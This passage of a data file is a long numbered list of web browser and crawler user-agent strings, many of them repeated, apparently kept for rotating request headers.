  2782. "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; FunWebProducts)",
  2783. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:25.0) Gecko/20100101 Firefox/25.0",
  2784. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:21.0) Gecko/20100101 Firefox/21.0",
  2785. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0",
  2786. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10; rv:33.0) Gecko/20100101 Firefox/33.0"
  2787. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  2788. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  2789. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  2790. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
  2791. "Mozilla/5.0 (Windows NT 5.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  2792. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  2793. "Mozilla/5.0 (Windows NT 6.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  2794. "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  2795. "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)",
  2796. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  2797. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  2798. "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  2799. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  2800. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  2801. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  2802. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
  2803. "Mozilla/5.0 (Windows NT 5.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  2804. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  2805. "Mozilla/5.0 (Windows NT 6.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  2806. "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  2807. "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)",
  2808. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  2809. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  2810. "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  2811. "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  2812. "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  2813. "Mozilla/5.0 (Linux; U; Android 2.2; fr-fr; Desire_A8181 Build/FRF91) App3leWebKit/53.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1",
  2814. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  2815. "Mozilla/5.0 (iPhone; CPU iPhone OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",
  2816. "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.0) Opera 7.02 Bork-edition [en]",
  2817. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:12.0) Gecko/20100101 Firefox/12.0",
  2818. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
  2819. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6",
  2820. "Mozilla/5.0 (iPad; CPU OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",
  2821. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)",
  2822. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  2823. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)",
  2824. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11",
  2825. "Mozilla/5.0 (Windows NT 5.1; rv:5.0.1) Gecko/20100101 Firefox/5.0.1",
  2826. "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)",
  2827. "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.02",
  2828. "Opera/9.80 (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60",
  2829. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:5.0) Gecko/20100101 Firefox/5.0",
  2830. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)",
  2831. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322)",
  2832. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 3.5.30729)",
  2833. "Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
  2834. "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  2835. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
  2836. "Mozilla/5.0 (Windows NT 6.1; rv:2.0b7pre) Gecko/20100921 Firefox/4.0b7pre",
  2837. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  2838. "Mozilla/5.0 (Windows NT 5.1; rv:12.0) Gecko/20100101 Firefox/12.0",
  2839. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)",
  2840. "Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20100101 Firefox/12.0",
  2841. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MRA 5.8 (build 4157); .NET CLR 2.0.50727; AskTbPTV/5.11.3.15590)",
  2842. "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  2843. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)",
  2844. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.5 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.4",
  2845. "Mozilla/5.0 (Windows NT 6.0; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  2846. "Mozilla/5.0 (Windows NT 6.0; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  2847. "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  2848. "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  2849. "Mozilla/5.0 (Linux; U; Android 2.2; fr-fr; Desire_A8181 Build/FRF91) App3leWebKit/53.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1",
  2850. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  2851. "Mozilla/5.0 (iPhone; CPU iPhone OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",
  2852. "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.0) Opera 7.02 Bork-edition [en]",
  2853. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:12.0) Gecko/20100101 Firefox/12.0",
  2854. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
  2855. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6",
  2856. "Mozilla/5.0 (iPad; CPU OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",
  2857. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)",
  2858. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  2859. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)",
  2860. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11",
  2861. "Mozilla/5.0 (Windows NT 5.1; rv:5.0.1) Gecko/20100101 Firefox/5.0.1",
  2862. "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)",
  2863. "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.02",
  2864. "Opera/9.80 (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60",
  2865. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:5.0) Gecko/20100101 Firefox/5.0",
  2866. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)",
  2867. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322)",
  2868. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 3.5.30729)",
  2869. "Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
  2870. "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  2871. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
  2872. "Mozilla/5.0 (Windows NT 6.1; rv:2.0b7pre) Gecko/20100921 Firefox/4.0b7pre",
  2873. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  2874. "Mozilla/5.0 (Windows NT 5.1; rv:12.0) Gecko/20100101 Firefox/12.0",
  2875. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)",
  2876. "Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20100101 Firefox/12.0",
  2877. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MRA 5.8 (build 4157); .NET CLR 2.0.50727; AskTbPTV/5.11.3.15590)",
  2878. "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  2879. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)",
  2880. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.5 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.4",
  2881. "Mozilla/5.0 (Windows NT 6.0; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  2882. "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3",
  2883. "Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)",
  2884. "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)",
  2885. "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1",
  2886. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1",
  2887. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)",
  2888. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)",
  2889. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)",
  2890. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)",
  2891. "Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)",
  2892. "Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)",
  2893. "Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51",
  2894. "Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.2.15 Version/10.10",
  2895. "Opera/9.80 (Windows NT 6.1; U; ru) Presto/2.5.24 Version/10.52",
  2896. "Mozilla/5.0 (Linux; Android 6.0.1; SM-G920V Build/MMB29K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.98 Mobile Safari/537.36",
  2897. "Opera/8.5 (X11; i686 Linux; U; ru, en_US)",
  2898. "SexShop.Sg/Nutch-1.1 (www.SexShop.Sg; crawler@SexShop.Sg)",
  2899. "Rome Client (http://tinyurl.com/64t5n) Ver: 0.9",
  2900. "Opera/9.80 (J2ME/MIDP; Opera Mini/4.2.13918/19.752; U; ru) Presto/2.6.25",
  2901. "Opera/9.80 (Windows NT 6.0; U; ru) Presto/2.5.22 Version/10.50",
  2902. "Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.5.24 Version/10.53 MM3-WebAssistant",
  2903. "C4PC UserAgent/0.7",
  2904. "Googlebot 1.01.003",
  2905. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1",
  2906. "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.3) Gecko/20100423 Ubuntu/10.04 (lucid) Firefox/3.6.3",
  2907. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:7.0.1) Gecko/20100101 Firefox/7.0.1",
  2908. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0","Mozilla/5.0 (Windows NT 6.1; WOW64) SkypeUriPreview Preview/0.5",
  2909. "Mozilla/5.0 (compatible; Konqueror/3.0; i686 Linux; 20021117)",
  2910. "Mozilla/5.0 (Windows NT 6.1; WOW64) SkypeUriPreview Preview/0.5",
  2911. "Mozilla/5.0 (iPhone; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10",
  2912. "Mozilla/5.0 Galeon/1.0.3 (X11; Linux i686; U;) Gecko/0",
  2913. "Opera/6.04 (Windows XP; U) [en]",
  2914. "Opera/9.99 (X11; U; sk)",
  2915. "Mozilla/6.0 (Future Star Technologies Corp. Star-Blade OS; U; en-US) iNet Browser 2.5",
  2916. "Mozilla/5.0(iPad; U; CPU iPhone OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B314 Safari/531.21.10gin_lib.cc",
  2917. "Mozilla/5.0 Galeon/1.2.9 (X11; Linux i686; U;) Gecko/20021213 Debian/1.2.9-0.bunk",
  2918. "Mozilla/5.0 Slackware/13.37 (X11; U; Linux x86_64; en-US) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41",
  2919. "Mozilla/5.0 (compatible; iCab 3.0.3; Macintosh; U; PPC Mac OS)",
  2920. "Opera/9.80 (J2ME/MIDP; Opera Mini/5.0 (Windows; U; Windows NT 5.1; en) AppleWebKit/886; U; en) Presto/2.4.15"
  2921. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  2922. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  2923. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  2924. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
  2925. "Mozilla/5.0 (Windows NT 5.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  2926. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  2927. "Mozilla/5.0 (Windows NT 6.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  2928. "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  2929. "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)",
  2930. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  2931. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  2932. "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  2933. "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  2934. "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  2935. "Mozilla/5.0 (Linux; U; Android 2.2; fr-fr; Desire_A8181 Build/FRF91) App3leWebKit/53.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1",
  2936. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  2937. "Mozilla/5.0 (iPhone; CPU iPhone OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",
  2938. "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.0) Opera 7.02 Bork-edition [en]",
  2939. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:12.0) Gecko/20100101 Firefox/12.0",
  2940. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
  2941. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6",
  2942. "Mozilla/5.0 (iPad; CPU OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",
  2943. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)",
  2944. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  2945. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)",
  2946. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11",
  2947. "Mozilla/5.0 (Windows NT 5.1; rv:5.0.1) Gecko/20100101 Firefox/5.0.1",
  2948. "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)",
  2949. "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.02",
  2950. "Opera/9.80 (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60",
  2951. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:5.0) Gecko/20100101 Firefox/5.0",
  2952. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)",
  2953. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322)",
  2954. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 3.5.30729)",
  2955. "Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
  2956. "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  2957. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
  2958. "Mozilla/5.0 (Windows NT 6.1; rv:2.0b7pre) Gecko/20100921 Firefox/4.0b7pre",
  2959. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  2960. "Mozilla/5.0 (Windows NT 5.1; rv:12.0) Gecko/20100101 Firefox/12.0",
  2961. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)",
  2962. "Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20100101 Firefox/12.0",
  2963. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MRA 5.8 (build 4157); .NET CLR 2.0.50727; AskTbPTV/5.11.3.15590)",
  2964. "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  2965. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)",
  2966. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.5 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.4",
  2967. "Mozilla/5.0 (Windows NT 6.0; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  2968. "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3",
  2969. "Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)",
  2970. "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)",
  2971. "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1",
  2972. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1",
  2973. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)",
  2974. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)",
  2975. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)",
  2976. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)",
  2977. "Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)",
  2978. "Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)",
  2979. "Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51",
  2980. "Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.2.15 Version/10.10",
  2981. "Opera/9.80 (Windows NT 6.1; U; ru) Presto/2.5.24 Version/10.52",
  2982. "SAMSUNG-SGH-E250/1.0 Profile/MIDP-2.0 Configuration/CLDC-1.1 UP.Browser/6.2.3.3.c.1.101 (GUI) MMP/2.0 (compatible; Googlebot-Mobile/2.1; +http://www.google.com/bot.html)",
  2983. "Opera/8.5 (X11; i686 Linux; U; ru, en_US)",
  2984. "SexShop.Sg/Nutch-1.1 (www.SexShop.Sg; crawler@SexShop.Sg)",
  2985. "Rome Client (http://tinyurl.com/64t5n) Ver: 0.9",
  2986. "Opera/9.80 (J2ME/MIDP; Opera Mini/4.2.13918/19.752; U; ru) Presto/2.6.25",
  2987. "Opera/9.80 (Windows NT 6.0; U; ru) Presto/2.5.22 Version/10.50",
  2988. "Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.5.24 Version/10.53 MM3-WebAssistant",
  2989. "C4PC UserAgent/0.7",
  2990. "Googlebot 1.01.003",
  2991. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1",
  2992. "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.3) Gecko/20100423 Ubuntu/10.04 (lucid) Firefox/3.6.3",
  2993. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:7.0.1) Gecko/20100101 Firefox/7.0.1",
  2994. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0",
  2995. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Firefox/24.0",
  2996. "Mozilla/5.0 (iPhone; CPU iPhone OS 7_0 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) Version/7.0 Mobile/11A465 Safari/9537.53 (compatible; bingbot/2.0; http://www.bing.com/bingbot.htm)",
  2997. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
  2998. "Mozilla/5.0 (iPad; U; CPU OS 5_1 like Mac OS X) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B367 Safari/531.21.10 UCBrowser/3.4.3.532",
  2999. "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko",
  3000. "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1a2pre) Gecko/2008073000 Shredder/3.0a2pre ThunderBrowse/3.2.1.8",
  3001. "Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.10) Gecko/20050716 Thunderbird/1.0.6",
  3002. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0b7pre) Gecko/20100925 Firefox/4.0b7pre",
  3003. "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9b5pre) Gecko/2008032619 Linpus/3.0-0.49.3.0b5pre.lp Minefield/3.0b5pre",
  3004. "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.3a1pre) Gecko/20100128 Minefield/3.7a1pre",
